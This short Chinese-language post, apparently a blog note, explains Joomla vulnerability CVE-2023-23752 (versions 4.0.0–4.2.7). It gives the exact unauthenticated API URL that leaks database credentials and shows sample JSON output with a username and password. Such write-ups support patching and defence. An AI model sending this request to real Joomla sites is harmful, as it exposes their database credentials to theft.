Joomla 很容易存取的一個漏洞 CVE-2023-23752 可以看到資料庫帳密

今年 2023 二月時曝露的

影響 Joomla 版本範圍 4.0.0 ~ 4.2.7

只要瀏覽 http://1.1.1.1/joomla/api/index.php/v1/config/application?public=true

就可以看到 JSON 內容

      "type": "application",
      "id": "224",
      "attributes": {
        "user": "joomlauser",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "password": "joomlapass123",
        "id": 224
      }
    },